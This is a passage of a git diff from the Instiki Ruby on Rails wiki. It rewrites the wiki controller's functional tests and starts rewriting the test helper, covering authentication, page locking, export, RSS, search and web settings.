['categorized'], r.template_objects['categories'] - # no category is specified in params - assert_nil r.template_objects['category'] - assert_equal [@home, page2], r.template_objects['pages_in_category'], - "Pages are not as expected: " + - r.template_objects['pages_in_category'].map {|p| p.name}.inspect - assert_equal 'the web', r.template_objects['set_name'] - assert_equal ['categorized'], - r.template_objects['category_links'] - end - - def test_recently_revised_with_categorized_page_multiple_categories - setup_wiki_with_three_pages - - r = process('recently_revised', 'web' => 'wiki1') - assert_success - - assert_equal ['animals', 'trees'], r.template_objects['categories'] - # no category is specified in params - assert_nil r.template_objects['category'] - assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], - "Pages are not as expected: " + - r.template_objects['pages_in_category'].map {|p| p.name}.inspect - assert_equal 'the web', r.template_objects['set_name'] - assert_equal ['animals', - 'trees'], - r.template_objects['category_links'] - end - - def test_recently_revised_with_specified_category - setup_wiki_with_three_pages - - r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') - assert_success - - assert_equal ['animals', 'trees'], r.template_objects['categories'] - # no category is specified in params - assert_equal 'animals', r.template_objects['category'] - assert_equal [@elephant], r.template_objects['pages_in_category'] - assert_equal "category 'animals'", r.template_objects['set_name'] - assert_equal ['animals', 'trees'], - r.template_objects['category_links'] - end - - - def test_remove_orphaned_pages - setup_wiki_with_three_pages - @wiki.system[:password] = 'pswd' - orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', - "Refers to [[Oak]].\n" + - "category: trees", - Time.now, Author.new('TreeHugger', '127.0.0.2')) - - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - - assert_redirected_to :action => 'list' - assert_equal [@home, @oak], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - - - # Oak is now orphan, second pass should remove it - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - - # third pass does not destroy HomePage - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - end - - - def test_revision - r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' - - assert_success - assert_equal @home, r.template_objects['page'] - assert_equal @home.revisions[0], r.template_objects['revision'] - end - - - def test_rollback - # rollback shows a form where a revision can be edited. - # its assigns the same as or revision - r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' - - assert_success - assert_equal @home, r.template_objects['page'] - assert_equal @home.revisions[0], r.template_objects['revision'] - end - - - def test_rss_with_content - setup_wiki_with_three_pages - - r = process 'rss_with_content', 'web' => 'wiki1' - - assert_success - pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant], pages, - "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" - assert !r.template_objects['hide_description'] - end - - - def test_rss_with_headlines - setup_wiki_with_three_pages - @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', - 'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2')) - - @request.host = 'localhost' - @request.port = 8080 - - r = process 'rss_with_headlines', 'web' => 'wiki1' - - assert_success - pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant, @title_with_spaces], pages, - "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" - assert r.template_objects['hide_description'] - - xml = REXML::Document.new(r.body) - - expected_page_links = - ['http://localhost:8080/wiki1/show/HomePage', - 'http://localhost:8080/wiki1/show/Oak', - 'http://localhost:8080/wiki1/show/Elephant', - 'http://localhost:8080/wiki1/show/Title With Spaces'] - - assert_template_xpath_match '/rss/channel/link', - 'http://localhost:8080/wiki1/show/HomePage' - assert_template_xpath_match '/rss/channel/item/guid', expected_page_links - assert_template_xpath_match '/rss/channel/item/link', expected_page_links - end - - def test_save - r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', - 'author' => 'AuthorOfNewPage' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' - assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - new_page = @wiki.read_page('wiki1', 'NewPage') - assert_equal 'Contents of a new page', new_page.content - assert_equal 'AuthorOfNewPage', new_page.author - end - - def test_save_new_revision_of_existing_page - @home.lock(Time.now, 'Batman') - - r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', - 'author' => 'Batman' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['Batman'], r.cookies['author'].value - home_page = @wiki.read_page('wiki1', 'HomePage') - assert_equal [home_page], @web.pages.values - assert_equal 2, home_page.revisions.size - assert_equal 'Revised HomePage', home_page.content - assert_equal 'Batman', home_page.author - assert !home_page.locked?(Time.now) - end - - def test_save_new_revision_of_existing_page - @home.lock(Time.now, 'Batman') - - r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', - 'author' => 'Batman' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['Batman'], r.cookies['author'].value - home_page = @wiki.read_page('wiki1', 'HomePage') - assert_equal [home_page], @web.pages.values - assert_equal 2, home_page.revisions.size - assert_equal 'Revised HomePage', home_page.content - assert_equal 'Batman', home_page.author - assert !home_page.locked?(Time.now) - end - - def test_save_new_revision_identical_to_last - revisions_before = @home.revisions.size - @home.lock(Time.now, 'AnAuthor') - - r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage', - 'content' => @home.revisions.last.content.dup, - 'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'} - - assert_redirect_url '/wiki1/show/HomePage' - assert_flash_has :error - assert r.flash[:error].kind_of?(Instiki::ValidationError) - - revisions_after = @home.revisions.size - assert_equal revisions_before, revisions_after - assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful' - end - - - def test_search - setup_wiki_with_three_pages - process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' - assert_redirected_to :action => 'show', :id => 'Oak' - end - - def test_search_multiple_results - setup_wiki_with_three_pages - - r = process 'search', 'web' => 'wiki1', 'query' => 'All about' - - assert_success - assert_equal 'All about', r.template_objects['query'] - assert_equal [@elephant, @oak], r.template_objects['results'] - end - - def test_search_zero_results - setup_wiki_with_three_pages - - r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' - - assert_success - assert_equal [], r.template_objects['results'] - end - - - def test_show_page - r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') - assert_success - assert_match /First revision of the end/, r.body - end - - def test_show_page_with_multiple_revisions - @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, - Author.new('AnotherAuthor', '127.0.0.2')) - - r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') - - assert_success - assert_match /Second revision of the end/, r.body - end - - def test_show_page_nonexistant_page - process('show', 'id' => 'UnknownPage', 'web' => 'wiki1') - assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' - end - - - def test_tex - r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - - assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel} " + - "%danske tekster\n\\usepackage[OT1]{fontenc} %rigtige danske bogstaver...\n" + - "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" + - "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" + - "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" + - "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " + - "the HomePage end\n\n\\end{document}", r.body - end - - - def test_update_web - @wiki.system[:password] = 'pswd' - - process('update_web', 'system_password' => 'pswd', - 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', - 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', - 'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', - 'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on') - - assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert_equal 'renamed_wiki1', @web.address - assert_equal 'Renamed Wiki1', @web.name - assert_equal :markdown, @web.markup - assert_equal 'blue', @web.color - assert @web.safe_mode - assert_equal 'new_password', @web.password - assert @web.published - assert @web.brackets_only - assert @web.count_pages - assert @web.allow_uploads - end - - def test_update_web_opposite_values - @wiki.system[:password] = 'pswd' - - process('update_web', 'system_password' => 'pswd', - 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', - 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', - 'password' => 'new_password') - # safe_mode, published, brackets_only, count_pages, allow_uploads not set - # and should become false - - assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert !@web.safe_mode - assert !@web.published - assert !@web.brackets_only - assert !@web.count_pages - assert !@web.allow_uploads - end - - def test_web_list - another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') - - r = process('web_list') - - assert_success - assert_equal [another_wiki, @web], r.template_objects['webs'] - end - -end +#!/bin/env ruby -w + +# Uncomment the line below to enable pdflatex tests; don't forget to comment them again +# commiting to SVN +$INSTIKI_TEST_PDFLATEX = true + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Raise errors beyond the default web-based presentation +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class WikiControllerTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['pswd'], r.cookies['web_address'] + end + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') + assert_redirected_to :action => 'login' + assert_nil r.cookies['web_address'] + end + + + def test_authors + setup_wiki_with_three_pages + @wiki.write_page('wiki1', 'BreakSortingOrder', + "This page breaks the accidentally correct sorting order of authors", + Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) + + r = process('authors', 'web' => 'wiki1') + + assert_success + assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], + r.template_objects['authors'] + end + + + def test_cancel_edit + setup_wiki_with_three_pages + @oak.lock(Time.now, 'Locky') + assert @oak.locked?(Time.now) + + r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') + + assert_redirected_to :action => 'show', :id => 'Oak' + assert !@oak.locked?(Time.now) + end + + + def test_create_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + assert !@controller.wiki.setup? + + process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki') + + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert @controller.wiki.setup? + assert_equal 'a_password', @controller.wiki.system[:password] + assert_equal 1, @controller.wiki.webs.size + new_web = @controller.wiki.webs['my_wiki'] + assert_equal 'My Wiki', new_web.name + assert_equal 'my_wiki', new_web.address + end + + def test_create_system_already_setup + wiki_before = @controller.wiki + assert @controller.wiki.setup? + + process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki' + + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert_equal wiki_before, @controller.wiki + # and no new wikis shuld be created either + assert_equal 1, @controller.wiki.webs.size + end + + + def test_create_web + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + wiki2 = @wiki.webs['wiki2'] + assert wiki2 + assert_equal 'Wiki Two', wiki2.name + assert_equal 'wiki2', wiki2.address + end + + def test_create_web_default_password + @wiki.system[:password] = nil + + process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_create_web_failed_authentication + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => nil, :action => 'index' + assert_nil @wiki.webs['wiki2'] + end + + + def test_edit + r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_success + assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] + end + + def test_edit_page_locked_page + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_redirected_to :action => 'locked' + end + + def test_edit_page_break_lock + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' + assert_success + assert @home.locked?(Time.now) + end + + def test_edit_unknown_page + process 'edit', 'web' => 'wiki1', 'id' => 'UnknownPage', 'break_lock' => 'y' + assert_redirected_to :action => 'index' + end + + + def test_edit_web + process 'edit_web', 'web' => 'wiki1' + # this action simply renders a form + assert_success + end + + + def test_export_html + setup_wiki_with_three_pages + + r = process 'export_html', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' + end + + def test_export_markup + r = process 'export_markup', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' + end + + + if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + + def test_export_pdf + r = process 'export_pdf', 'web' => 'wiki1' + assert_success + assert_equal 'application/pdf', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] + end + + else + puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' + puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' + puts ' $INSTIKI_TEST_PDFLATEX to enable them.' + end + + + def test_export_tex + setup_wiki_with_three_pages + + r = process 'export_tex', 'web' => 'wiki1' + + assert_success + assert_equal 'application/octet-stream', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal '\documentclass', content[0..13], 'Content is not a TeX file' + end + + def test_feeds + process('feeds', 'web' => 'wiki1') + end + + def test_index + process('index') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + end + + def test_index_multiple_webs + @wiki.create_web('Test Wiki 2', 'wiki2') + process('index') + assert_redirected_to :action => 'web_list' + end + + def test_index_multiple_webs_web_explicit + process('index', 'web' => 'wiki2') + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_index_wiki_not_initialized + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('index') + assert_redirected_to :action => 'new_system' + end + + + def test_list + setup_wiki_with_three_pages + + r = process('list', 'web' => 'wiki1') + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] + end + + + def test_locked + @home.lock(Time.now, 'Locky') + r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_login + r = process 'login', 'web' => 'wiki1' + assert_success + # this action goes straight to the templates + end + + + def test_new + r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') + assert_success + assert_equal 'AnonymousCoward', r.template_objects['author'] + assert_equal 'NewPage', r.template_objects['page_name'] + end + + + def test_new_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('new_system') + assert_success + end + + def test_new_system_system_already_initialized + assert @wiki.setup? + process('new_system') + assert_redirected_to :action => 'index' + end + + + def test_new_web + @wiki.system['password'] = 'pswd' + process 'new_web' + assert_success + end + + def test_new_web_no_password_set + @wiki.system['password'] = nil + process 'new_web' + assert_redirected_to :action => 'index' + end + + + if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + + def test_pdf + assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' + r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + + content = r.binary_content + + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] + + assert_equal 'application/pdf', r.headers['Content-Type'] + assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] + end + + end + + + def test_print + process('print', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + end + + + def test_published + @web.published = true + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_published_web_not_published + @web.published = false + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_redirected_to :action => 'show', :id => 'HomePage' + end + + + def test_recently_revised + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal [], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal [@home], r.template_objects['pages_in_category'] + assert_equal 'the web', r.template_objects['set_name'] + assert_equal [], r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page + page2 = @wiki.write_page('wiki1', 'Page2', + "Page2 contents.\n" + + "category: categorized", + Time.now, Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['categorized'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@home, page2], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['categorized'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page_multiple_categories + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['animals', + 'trees'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_specified_category + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_equal 'animals', r.template_objects['category'] + assert_equal [@elephant], r.template_objects['pages_in_category'] + assert_equal "category 'animals'", r.template_objects['set_name'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + end + + + def test_remove_orphaned_pages + setup_wiki_with_three_pages + @wiki.system[:password] = 'pswd' + orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', + "Refers to [[Oak]].\n" + + "category: trees", + Time.now, Author.new('TreeHugger', '127.0.0.2')) + + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + + assert_redirected_to :action => 'list' + assert_equal [@home, @oak], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + + # Oak is now orphan, second pass should remove it + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + # third pass does not destroy HomePage + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + end + + + def test_revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rollback + # rollback shows a form where a revision can be edited. + # its assigns the same as or revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rss_with_content + setup_wiki_with_three_pages + + r = process 'rss_with_content', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert !r.template_objects['hide_description'] + end + + + def test_rss_with_headlines + setup_wiki_with_three_pages + @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', + 'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2')) + + @request.host = 'localhost' + @request.port = 8080 + + r = process 'rss_with_headlines', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant, @title_with_spaces], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert r.template_objects['hide_description'] + + xml = REXML::Document.new(r.body) + + expected_page_links = + ['http://localhost:8080/wiki1/show/HomePage', + 'http://localhost:8080/wiki1/show/Oak', + 'http://localhost:8080/wiki1/show/Elephant', + 'http://localhost:8080/wiki1/show/Title With Spaces'] + + assert_template_xpath_match '/rss/channel/link', + 'http://localhost:8080/wiki1/show/HomePage' + assert_template_xpath_match '/rss/channel/item/guid', expected_page_links + assert_template_xpath_match '/rss/channel/item/link', expected_page_links + end + + def test_save + r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', + 'author' => 'AuthorOfNewPage' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' + assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + new_page = @wiki.read_page('wiki1', 'NewPage') + assert_equal 'Contents of a new page', new_page.content + assert_equal 'AuthorOfNewPage', new_page.author + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + def test_save_new_revision_identical_to_last + revisions_before = @home.revisions.size + @home.lock(Time.now, 'AnAuthor') + + r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage', + 'content' => @home.revisions.last.content.dup, + 'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'} + + assert_redirect_url '/wiki1/show/HomePage' + assert_flash_has :error + assert r.flash[:error].kind_of?(Instiki::ValidationError) + + revisions_after = @home.revisions.size + assert_equal revisions_before, revisions_after + assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful' + end + + + def test_search + setup_wiki_with_three_pages + process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' + assert_redirected_to :action => 'show', :id => 'Oak' + end + + def test_search_multiple_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'All about' + + assert_success + assert_equal 'All about', r.template_objects['query'] + assert_equal [@elephant, @oak], r.template_objects['results'] + end + + def test_search_zero_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' + + assert_success + assert_equal [], r.template_objects['results'] + end + + + def test_show_page + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + assert_success + assert_match /First revision of the end/, r.body + end + + def test_show_page_with_multiple_revisions + @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, + Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + + assert_success + assert_match /Second revision of the end/, r.body + end + + def test_show_page_nonexistant_page + process('show', 'id' => 'UnknownPage', 'web' => 'wiki1') + assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' + end + + + def test_tex + r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + + assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel} " + + "%danske tekster\n\\usepackage[OT1]{fontenc} %rigtige danske bogstaver...\n" + + "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" + + "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" + + "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" + + "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " + + "the HomePage end\n\n\\end{document}", r.body + end + + + def test_update_web + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', + 'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on') + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert_equal 'renamed_wiki1', @web.address + assert_equal 'Renamed Wiki1', @web.name + assert_equal :markdown, @web.markup + assert_equal 'blue', @web.color + assert @web.safe_mode + assert_equal 'new_password', @web.password + assert @web.published + assert @web.brackets_only + assert @web.count_pages + assert @web.allow_uploads + end + + def test_update_web_opposite_values + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'password' => 'new_password') + # safe_mode, published, brackets_only, count_pages, allow_uploads not set + # and should become false + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert !@web.safe_mode + assert !@web.published + assert !@web.brackets_only + assert !@web.count_pages + assert !@web.allow_uploads + end + + def test_web_list + another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') + + r = process('web_list') + + assert_success + assert_equal [another_wiki, @web], r.template_objects['webs'] + end + +end diff --git a/test/test_helper.rb b/test/test_helper.rb old mode 100755 new mode 100644 index 5b3e3e13..66bf8d5c --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -1,113 +1,113 @@ -ENV['RAILS_ENV'] ||= 'test' -require File.dirname(__FILE__) + '/../config/environment' -require 'application' -require 'test/unit' -require 'action_controller/test_process' - -# Uncomment this variable to have assert_success check that response bodies are valid XML -$validate_xml_in_assert_success = true - -# Convenient setup method for Test::Unit::TestCase -class Test::Unit::TestCase - - private - - def setup_controller_test(controller_class = nil, host = nil) - if controller_class - @controller = controller_class - elsif self.class.to_s =~ /^(\w+Controller)Test$/ - @controller = Object::const_get($1) - else - raise "Cannot derive the name of controller under test from class name #{self.class}" - end - @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new - @request.host = host || 'localhost' - return @request, @response - end - - # Wiki fixture for tests - - def setup_test_wiki - @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new - @web = @wiki.create_web('Test Wiki 1', 'wiki1') - @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, - Author.new('AnAuthor', '127.0.0.1')) - end - - def setup_wiki_with_three_pages - @oak = @wiki.write_page('wiki1', 'Oak', - "All about oak.\n" + - "category: trees", - 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) - @elephant = @wiki.write_page('wiki1', 'Elephant', - "All about elephants.\n" + - "category: animals", - 10.minutes.ago, Author.new('Guest', '127.0.0.2')) - end - - def tear_down_wiki - ApplicationController.wiki = nil - end - -end - -class WikiServiceWithNoPersistence - include AbstractWikiService - def initialize - init_wiki_service - end - - def storage_path - RAILS_ROOT + '/storage/test/' - end -end - - -# This module is to be included in unit tests that involve matching chunks. -# It provides a easy way to test whether a chunk matches a particular string -# and any the values of any fields that should be set after a match. -class ContentStub < String - attr_reader :chunks, :content - def initialize(str) - super - @chunks = [] - end -end - -module ChunkMatch - - # Asserts a number of tests for the given type and text. - def 